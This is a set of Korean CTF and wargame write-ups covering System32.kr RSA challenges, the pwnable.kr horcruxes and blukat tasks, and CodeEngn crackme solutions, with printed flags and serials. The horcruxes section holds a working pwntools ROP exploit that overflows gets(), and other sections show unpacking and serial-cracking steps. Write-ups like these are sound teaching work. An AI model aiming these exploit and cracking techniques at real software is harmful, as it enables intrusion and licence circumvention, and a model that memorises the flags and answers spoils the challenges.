= 1806317310369980009932706441907756891122685977239032637376117653939592629181132498482038670618195984694250867867129559863693561069046351110958045303559854954588234447977692922829988785926862451801584819310702407585491177718755152055518733553927421577214740347956274468684747058682785453167186126384869898095355009620193273626895484591988153555158110880196986268949355968500092832237411654394295951441648748044375864656268901973180401377014754165200068392806529746504801815744345095507516459256483869799173054189822960434563127784898151685448212418354649354925633786590825084141495329161421555698179241894408873422390
= 1235441821
= 3032477561712159969038624247612606302727093197744745572360777744993048030579151290131884950670071512201722458811242592707243074323418373868073398996531180136126242688542841461913438478172053913773719857973056957510415089185531311916330433139160859155532409659622858101341629671133093910407988882203728644794239348874379289178268208136028146328608462805956004322306707963431825015814504527120066991706462521947050575789728072629790386979812591216920320695619189898158302924158362481320767791340177005794951187859952230300784183151549243274733552565133526078458260073961873518009693814714967027162359505297313081834097
 
print powermod4(a, b, c)
 
cs

 

나온 값 -> hex -> ascii

 

FLAG : FLAG{}

반응형

'WAR GAME > System32.kr' 카테고리의 다른 글

System32.kr [EZB64] 풀이  (0) 2019.12.28
System32.kr [RSA106] 풀이  (0) 2019.05.19
System32.kr [RSA105] 풀이  (0) 2019.05.19
System32.kr [RSA103] 풀이  (0) 2019.05.19
System32.kr [Cert] 풀이  (0) 2018.10.12
반응형

RSA105  풀이 : e가 매우 작은 경우

n : 14563994539777678316321336781712344883711529518189434139233680882263409604514153869699501702104322682479573897503872406635890483506906896813982089686642192006130896329932374470690714494675193648369783731927754727548782563723442681780574596631901415395263336968261396444462141129255716197310580275877681304858562705807686921384452565148850113267428665758030506035314679252439022969913295597306528946210184007253645129375949497711293612867692547866985135149571625792745784234869796370504461309988327790266777539646009367784188629367635437858554533733747458534618750336302736798813966890424262766487012612696221075689613
e : 7
c : 3257687211413179849713234287228115652852064803596545802006316144655701336714918948672668217982037728069055370417273850104541474476810598369542627961429180060096555295519064954697207788677528957569208943432299557549774333187664920215674167987939460257141632237998790136575185293301081863083862494006009415801599660234577382347813571039134562532471377834137776834839392965274882404992875421226913724316557631483699200757

 

e의 값이 7로 매우 작고 N은 매우 크다. 이 경우 M^e mod N = c 에서 mod N 과정을 거치지 않게 되어 M^e = c가 된다. 그럼 c의 e제곱근이 M이 된다.

 

1
2
3
4
5
6
7
import gmpy2
 
num=3257687211413179849713234287228115652852064803596545802006316144655701336714918948672668217982037728069055370417273850104541474476810598369542627961429180060096555295519064954697207788677528957569208943432299557549774333187664920215674167987939460257141632237998790136575185293301081863083862494006009415801599660234577382347813571039134562532471377834137776834839392965274882404992875421226913724316557631483699200757
k=7
 
result, bool = gmpy2.iroot(num, k)
print(result)
cs

 

나온 값 -> hex -> ascii 로 변환

 

FLAG : FLAG{too_short_too_small}

반응형

'WAR GAME > System32.kr' 카테고리의 다른 글

System32.kr [RSA106] 풀이  (0) 2019.05.19
System32.kr [RSA104] 풀이  (0) 2019.05.19
System32.kr [RSA103] 풀이  (0) 2019.05.19
System32.kr [Cert] 풀이  (0) 2018.10.12
System32.kr [Password] 풀이  (2) 2018.09.02
반응형

System32.kr 2019

RSA103 풀이입니다

 

p=randprim

e(bits=1024)
q=nextprime(p+rand(bits=64))

 

 

 

n = 523171545908439347079984829857166272490755110515501164347840985772081537607153032633627034283672952165088744702194194598263665644007012474218688874744119159433576941649802374269873297096542482864673663028420121028933290892148695399630471141652388858142837379625106663728466970543106475670944695178426345128622404188659395819609731517136209346499201958503231477376821955664260131840643055815735489615434847356385240589414518958821012582916986700315695213312797927
e = 75890823319493894649778238119866660628924668661939725653243821591293734119876987514543360050173914547032827753044199325926436760242819383884783456287774063959012970808345743726395349179476088924414519992417795625843440292670765531
c = 48724864779313923840771368863315403978774157546525429106022441664935683078731021092597773499396876686078062855830596180404569211641060040265424503580011984253306252131461826391739149934613684983289826611746524999894630859459114240689860752847497252922935755063842138052718553154569645504114125024099577779165840521064654503400340349866956420272930288416620386084299030911419380258260740993752837219665010025735212424683776284178649990068611783883405716180340421

 

n을 소인수분해 합니다.

https://www.alpertron.com.ar/ECM.HTM

 

Integer factorization calculator

 

www.alpertron.com.ar

 

  • 523171 545908 439347 079984 829857 166272 490755 110515 501164 347840 985772 081537 607153 032633 627034 283672 952165 088744 702194 194598 263665 644007 012474 218688 874744 119159 433576 941649 802374 269873 297096 542482 864673 663028 420121 028933 290892 148695 399630 471141 652388 858142 837379 625106 663728 466970 543106 475670 944695 178426 345128 622404 188659 395819 609731 517136 209346 499201 958503 231477 376821 955664 260131 840643 055815 735489 615434 847356 385240 589414 518958 821012 582916 986700 315695 213312 797927 (462 digits) = 723 305983 597840 387090 073124 295695 063058 926103 842858 618139 332402 030402 176745 237557 965345 230728 740505 468522 590100 663617 877936 830954 821254 102084 213431 441982 251604 821311 082681 331648 040651 828570 490510 112186 434619 298867 817000 367372 585141 (231 digits) × 723 305983 597840 387090 073124 295695 063058 926103 842858 618139 332402 030402 176745 237557 965345 230728 740505 468522 590100 663617 877936 830954 821254 102084 213431 441982 251604 821311 082681 331648 040651 828570 490510 112186 434619 298867 817000 367372 594347 (231 digits)

p와 q를 구할 수 있습니다. 

 

c를 복호화하기 위해 주어진 e, c 와 위에서 구한 p, q를 아래 코드에 대입해준 뒤에 실행합니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def egcd(a, b):
    x,y, u,v = 0,11,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y
def main():
    p = 723305983597840387090073124295695063058926103842858618139332402030402176745237557965345230728740505468522590100663617877936830954821254102084213431441982251604821311082681331648040651828570490510112186434619298867817000367372585141
    q = 723305983597840387090073124295695063058926103842858618139332402030402176745237557965345230728740505468522590100663617877936830954821254102084213431441982251604821311082681331648040651828570490510112186434619298867817000367372594347
    e = 75890823319493894649778238119866660628924668661939725653243821591293734119876987514543360050173914547032827753044199325926436760242819383884783456287774063959012970808345743726395349179476088924414519992417795625843440292670765531
    ct = 48724864779313923840771368863315403978774157546525429106022441664935683078731021092597773499396876686078062855830596180404569211641060040265424503580011984253306252131461826391739149934613684983289826611746524999894630859459114240689860752847497252922935755063842138052718553154569645504114125024099577779165840521064654503400340349866956420272930288416620386084299030911419380258260740993752837219665010025735212424683776284178649990068611783883405716180340421
    # compute n
    n = p * q
    # Compute phi(n)
    phi = (p - 1* (q - 1)
    # Compute modular inverse of e
    gcd, a, b = egcd(e, phi)
    d = a
    print"d:  " + str(d) );
    # Decrypt ciphertext
    pt = pow(ct, d, n)
    print"pt: " + str(pt) )
if __name__ == "__main__":
    main()
 
cs

 

그 다음 plaintext 값을 hex로 변환해준뒤에 ascii로 변환하면 flag가 나온다

 

46470827271975360721170849266738216410598415569944733823469870790619975080677955656802059050975833386869168748918671974627709

 

https://www.mobilefish.com/services/big_number/big_number.php

 

Mobilefish.com - Big number converter

This service allows you to convert big positive integer numbers into binary, decimal, hexadecimal or base64 encoding schemes. The big number bitsize is also calculated. For example: The following hexadecimal big number converted into a decimal encoding sch

www.mobilefish.com

 

464C41477B6E65696768626F725F69735F7468655F626967676573745F73656375726974795F76756C6E65726162696C6974797D

 

https://www.branah.com/ascii-converter

 

ASCII Converter - Hex, decimal, binary, base64, and ASCII converter

Convert ASCII characters to their hex, decimal and binary representations and vice versa. In addition, base64 encode/decode binary data. The converter happens automatically.

www.branah.com

 

FLAG : FLAG{neighbor_is_the_biggest_security_vulnerability}

반응형

'WAR GAME > System32.kr' 카테고리의 다른 글

System32.kr [RSA104] 풀이  (0) 2019.05.19
System32.kr [RSA105] 풀이  (0) 2019.05.19
System32.kr [Cert] 풀이  (0) 2018.10.12
System32.kr [Password] 풀이  (2) 2018.09.02
System32.kr [CMD] 풀이  (0) 2018.09.02
반응형


horcruxes - 7 pt


Voldemort concealed his splitted soul inside 7 horcruxes.

Find all horcruxes, and ROP it!

author: jiwon choi


ssh horcruxes@pwnable.kr -p2222 (pw:guest)




horcruxes@ubuntu:~$ cat readme 

connect to port 9032 (nc 0 9032). the 'horcruxes' binary will be executed under horcruxes_pwn privilege.

rop it to read the flag.



horcruxes를 가져와서 IDA로 열어봤다.


scp -P 2222 horcruxes@pwnable.kr:~/horcruxes ~/



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ST18_4@1
 
  setvbuf(stdout, 020);
  setvbuf(stdin, 020);
  alarm(0x3Cu);
  hint();
  init_ABCDEFG();
  v3 = seccomp_init(0);
  seccomp_rule_add(v3, 0x7FFF00001730);
  seccomp_rule_add(v3, 0x7FFF000050);
  seccomp_rule_add(v3, 0x7FFF000030);
  seccomp_rule_add(v3, 0x7FFF000040);
  seccomp_rule_add(v3, 0x7FFF00002520);
  seccomp_load(v3);
  return ropme();
}
cs


main 함수에서 init_ABCDEFG()함수를 보면


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned int init_ABCDEFG()
{
  int v0; // eax@4
  unsigned int result; // eax@4
  unsigned int buf; // [sp+8h] [bp-10h]@1
  int fd; // [sp+Ch] [bp-Ch]@1
 
  fd = open("/dev/urandom"0);
  if ( read(fd, &buf, 4u) != 4 )
  {
    puts("/dev/urandom error");
    exit(0);
  }
  close(fd);
  srand(buf);
  a = -559038737 * rand() % 0xCAFEBABE;
  b = -559038737 * rand() % 0xCAFEBABE;
  c = -559038737 * rand() % 0xCAFEBABE;
  d = -559038737 * rand() % 0xCAFEBABE;
  e = -559038737 * rand() % 0xCAFEBABE;
  f = -559038737 * rand() % 0xCAFEBABE;
  v0 = rand();
  g = -559038737 * v0 % 0xCAFEBABE;
  result = f + e + d + c + b + a + -559038737 * v0 % 0xCAFEBABE;
  sum = result;
  return result;
}
cs



a, b, c, d, e, f, g 값을 생성해서 다 합친 값을 sum에 넣어둔다.


그다음 ropme()함수를 보면, 


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int ropme()
{
  char s[100]; // [sp+4h] [bp-74h]@15
  int v2; // [sp+68h] [bp-10h]@1
  int fd; // [sp+6Ch] [bp-Ch]@16
 
  printf("Select Menu:");
  __isoc99_scanf("%d"&v2);
  getchar();
  if ( v2 == a )
  {
    A();
  }
  else if ( v2 == b )
  {
    B();
  }
  else if ( v2 == c )
  {
    C();
  }
  else if ( v2 == d )
  {
    D();
  }
  else if ( v2 == e )
  {
    E();
  }
  else if ( v2 == f )
  {
    F();
  }
  else if ( v2 == g )
  {
    G();
  }
  else
  {
    printf("How many EXP did you earned? : ");
    gets(s);
    if ( atoi(s) == sum )
    {
      fd = open("flag"0);
      s[read(fd, s, 0x64u)] = 0;
      puts(s);
      close(fd);
      exit(0);
    }
    puts("You'd better get more experience to kill Voldemort");
  }
  return 0;
}
cs


41번째 행에서 bof가 일어난다.


입력받은 값이랑 sum이랑 값이 같으면 flag를 출력해준다.


A()는 a의 값을 출력해준다.


그러면, 41번째 행 bof을 이용해서 payload를 dummy[120] + A() + B() + C() + D() + E() + F() + G() + ropme() 로 해서 보낸다면 a~g 모두 값을 받을 수 있고, 받은 값을 모두 더해서 41행 gets()에 보내면 flag를 얻을 수 있을 것 같다.


A() : 0x809fe4b

B() : 0x809fe6a

C() : 0x809fe89

D() : 0x809fea8

E() : 0x809fec7

F() : 0x809fee6

G() : 0x809ff05


ropme() : 0x080afffc



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
 
= ssh(user='horcruxes',host='pwnable.kr',port=2222,password='guest')
= s.remote("127.0.0.1",9032)
 
func_A = 0x809fe4b
func_B = 0x809fe6a
func_C = 0x809fe89
func_D = 0x809fea8
func_E = 0x809fec7
func_F = 0x809fee6
func_G = 0x809ff05
ropme = 0x0809fffc
 
p.recvuntil("u:")
p.sendline("1")
p.recvuntil("? : ")
 
payload = "A"*120
payload += p32(func_A)
payload += p32(func_B)
payload += p32(func_C)
payload += p32(func_D)
payload += p32(func_E)
payload += p32(func_F)
payload += p32(func_G)
payload += p32(ropme)
 
p.sendline(payload)
 
t=0
for i in range(0,7):
    p.recvuntil('EXP +')
    t += int(p.recvuntil(')')[:-1])
 
p.recvuntil("u:")
p.sendline("1")
p.recvuntil("? : ")
p.sendline(str(t))
p.interactive()
 
cs



Magic_spell_1s_4vad4_K3daVr4!


한 번에 플래그가 뜨지 않는 경우들이 있다. 여러번 시도하면 된다.


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [blukat] 풀이  (0) 2019.02.24
pwnable.kr [unlink] 풀이  (0) 2018.06.13
pwnable.kr [asm] 풀이  (0) 2018.06.13
pwnable.kr [memcpy] 풀이  (0) 2018.06.12
pwnable.kr [uaf] 풀이  (1) 2018.06.11
반응형


blukat - 3 pt

Sometimes, pwnable is strange...

hint: if this challenge is hard, you are a skilled player.


ssh blukat@pwnable.kr -p2222 (pw: guest)





1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
char flag[100];
char password[100];
char* key = "3\rG[S/%\x1c\x1d#0?\rIS\x0f\x1c\x1d\x18;,4\x1b\x00\x1bp;5\x0b\x1b\x08\x45+";
void calc_flag(char* s){
    int i;
    for(i=0; i<strlen(s); i++){
        flag[i] = s[i] ^ key[i];
    }
    printf("%s\n", flag);
}
int main(){
    FILE* fp = fopen("/home/blukat/password""r");
    fgets(password, 100, fp);
    char buf[100];
    printf("guess the password!\n");
    fgets(buf, 128, stdin);
    if(!strcmp(password, buf)){
        printf("congrats! here is your flag: ");
        calc_flag(password);
    }
    else{
        printf("wrong guess!\n");
        exit(0);
    }
    return 0;
}
 
 
cs


gdb로 열어서 strcmp 부분에 breakpoint을 걸고 password의 값을 확인했다.


   0x000000000040085c <+98>: lea    rax,[rbp-0x70]

   0x0000000000400860 <+102>: mov    rsi,rax

   0x0000000000400863 <+105>: mov    edi,0x6010a0

   0x0000000000400868 <+110>: call   0x400650 <strcmp@plt>


(gdb) b *main+110

Breakpoint 1 at 0x400868

(gdb) r

Starting program: /home/blukat/blukat 

guess the password!

a


Breakpoint 1, 0x0000000000400868 in main ()

(gdb) x/s 0x6010a0

0x6010a0 <password>: "cat: password: Permission denied\n"


password를 입력해주면 flag가 나온다.

blukat@ubuntu:~$ ./blukat 
guess the password!
cat: password: Permission denied  
congrats! here is your flag: Pl3as_DonT_Miss_youR_GrouP_Perm!!

간.단.


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [horcruxes] 풀이  (0) 2019.02.25
pwnable.kr [unlink] 풀이  (0) 2018.06.13
pwnable.kr [asm] 풀이  (0) 2018.06.13
pwnable.kr [memcpy] 풀이  (0) 2018.06.12
pwnable.kr [uaf] 풀이  (1) 2018.06.11
반응형
Basic RCE L11
OEP를 찾으시오. Ex) 00401000 / Stolenbyte 를 찾으시오. 
Ex) FF35CA204000E84D000000 정답인증은 OEP+ Stolenbyte 
Ex ) 00401000FF35CA204000E84D000000 





stolenbyte 12byte와 OEP 00401000를 구할 수 있다. jmp는 0040100c로 하지만 stolenbyte 0xC byte 만큼 붙여주면 oep는 0040100c가 된다.



Basic RCE L12
Key를 구한 후 입력하게 되면 성공메시지를 볼 수 있다 
이때 성공메시지 대신 Key 값이 MessageBox에 출력 되도록 하려면 파일을 HexEdit로 오픈 한 다음 0x???? ~ 0x???? 영역에 Key 값을 overwrite 하면 된다. 
문제 : Key값과 + 주소영역을 찾으시오 
Ex) 7777777???????? 




참조된 문자열을 찾아서 성공 메세지를 출력하는 부분을 찾고 그 위에서 비교문과 분기점에 breakpoint를 걸고 실행했다.


key 값으로 1234를 넣었는데, 넣은 1234와 0x7A2896BF과 비교하는 것을 볼 수 있다.


0x7A2896BF == 2049480383


key 값은 2049480383이 된다.




key값이 MessageBox에 출력되도록 하려면 HxD로 열어서 Cong~~~부분을 찾는다.




성공 메세지 부분을 2049480383(\x00)으로 덮어주면 된다.[0x0D3B~0x0D45]




Basic RCE L13

정답은 무엇인가 



.NET은 DOTPEEK으로!



main을 보면, 암호화된 문자열을 복호화 한 값이랑 사용자 입력값이랑 비교한다.





코드를 추출해서 복호화된 문자열을 출력하도록 했다.







Basic RCE L14
Name이 CodeEngn 일때 Serial을 구하시오 
(이 문제는 정답이 여러개 나올 수 있는 문제이며 5개의 숫자로 되어있는 정답을 찾아야함, bruteforce 필요) 
Ex) 11111 



upx 패킹이 되어 있으므로 언패킹을 진행하고 올리디버거로 열었다.







참조된 문자열중 성공문자열을 찾고, 그 위에 분기점과 비교문에 breakpoint를 걸고 실행했다.





CodeEngn / 11111을 입력했을 때 


11111은 EAX에 들어가서 ESI값 0x129A1과 비교하게 된다



0x129A1의 10진수 값 76193을 입력해주면 성공메세지가 출력된다.




Basic RCE L15
Name이 CodeEngn일때 Serial을 구하시오 



이번에는 패킹이 되어있지 않아서 바로 올리디버거로 열었다.




참조된 문자열에서 성공메세지를 찾고 그 위 비교문에 breakpoint를 걸고 실행했다.





CodeEngn / 12345 로 입력을 했는데 입력한 12345와 24928을 비교한다.





Basic RCE L16
Name이 CodeEngn일때 Serial을 구하시오 


이번에도 패킹은 없다.




참조된 문자열에서 성공메세지를 찾아 그 위 비교문에 breakpoint를 걸고 실행했다.





CodeEngn / 11111 로 입력했더니 11111과 0xE4C60D97과 비교한다.



0xE4C60D97 의 10진수값을 시리얼로 입력해주면 된다.

반응형

'WAR GAME > CodeEngn' 카테고리의 다른 글

CodeEngn [Basic RCE] 1 ~ 10 풀이  (0) 2019.02.09
CodeEngn [Cryptology] 풀이  (8) 2019.02.09
반응형
Basic RCE L01
HDD를 CD-Rom으로 인식시키기 위해서는 GetDriveTypeA의 리턴값이 무엇이 되어야 하는가


검색하면 나온다.






Basic RCE L02
패스워드로 인증하는 실행파일이 손상되어 실행이 안되는 문제가 생겼다. 패스워드가 무엇인지 분석하시오 



실행도 안되고 디버깅 프로그램으로도 열리지 않는다. 그런데 HxD로 보면 패스워드를 확인할 수 있다.





Basic RCE L03
비주얼베이직에서 스트링 비교함수 이름은? 


IDA로 열어서 함수명들을 살펴보면 문자열 비교 함수를 찾을 수 있다. 정답 입력할 때 '_'는 빼고 입력해야 한다.





Basic RCE L04
이 프로그램은 디버거 프로그램을 탐지하는 기능을 갖고 있다. 디버거를 탐지하는 함수의 이름은 무엇인가 


IDA로 열어서 main_0함수 디컴파일 하면 해당 함수의 이름을 알 수 있다.




Basic RCE L05
이 프로그램의 등록키는 무엇인가



패킹이 되어 있다.




언패킹을 해주고, 


올리디버거로 열어서 참조된 문자열 리스트에서 하단으로 내려보면 키를 확인할 수 있다.




Basic RCE L06
Unpack을 한 후 Serial을 찾으시오. 
정답인증은 OEP + Serial 
Ex) 00400000PASSWORD 



5번문제와 같이 언패킹을 해준뒤 올리디버거로 연다.


프로그램이 시작되는 주소가 OEP가 되며, serial은 참조된 문자열 확인을 통해 알 수 있다.




Basic RCE L07
컴퓨터 C 드라이브의 이름이 CodeEngn 일경우 시리얼이 생성될때 CodeEngn은 'ß어떤것'으로 변경되는가 


시리얼 입력을 aaaa로 하고 C 드라이브의 이름은 Acer로 되어 있는 상태에서 올리디 버거를 돌려봤다.


"Acer" + "4562-ABEX"


가 되고 Acer부분이 연산루틴을 돈 뒤에(앞 4자리만 연산한다.)

문자열 앞에 "L2C-5781"이 붙어 시리얼이 완성된다.




비교를 하는 0x4010F7에 breakpoint를 걸고 C드라이브의 이름을 CodeEngn으로 바꾼뒤에 실행해서,

생성되는 시리얼을 확인하면 된다.


이때 CodeEngn이 바뀐 부분만 정답으로 제출하면 된다.




Basic RCE L08
OEP를 구하시오 Ex) 00400000 



역시 upx 패킹이 되어 있다.

언패킹을 하고 올리디버거로 열면 oep를 구할 수 있다.




Basic RCE L09
StolenByte를 구하시오 Ex) 75156A0068352040


stolenbyte로 인해서 언패킹이 정상적으로 이루어지지 않는다. 그대로 올리디 버거로 올린 뒤에 수동 언패킹을 하듯 jmp문을 찾아준다.




그럼 그 윗부분에 stolenbyte를 찾을 수 있다. 해당 opcode를 정답으로 제출하면 된다.




Basic RCE L10
OEP를 구한 후 '등록성공' 으로 가는 분기점의 OPCODE를 구하시오. 
정답인증은 OEP + OPCODE 
EX) 00400000EB03 




이번에는 upx가 아닌 aspack으로 패킹이 되어있음을 확인할 수 있다.


언패킹 하는 방법은 디버깅 툴로 retn 0c 를 찾아서 그 다음 두 명령어에 breakpoint를 걸어 실행하면 

push 0 가 oep값으로 바뀌어서 retn을 통해 oep로 이동하는 것이다.



breakpoint를 걸어주고




실행하면 push 0 가 push 00445834로 바뀐다. oep주소다.




참조된 문자열을 찾아서 등록완료를 출력하는 부분을 찾으면 그 윗부분에서 분기점의 opcode를 찾을 수 있다.

반응형

'WAR GAME > CodeEngn' 카테고리의 다른 글

CodeEngn [Basic RCE] 11 ~ 16 풀이  (0) 2019.02.10
CodeEngn [Cryptology] 풀이  (8) 2019.02.09

+ Recent posts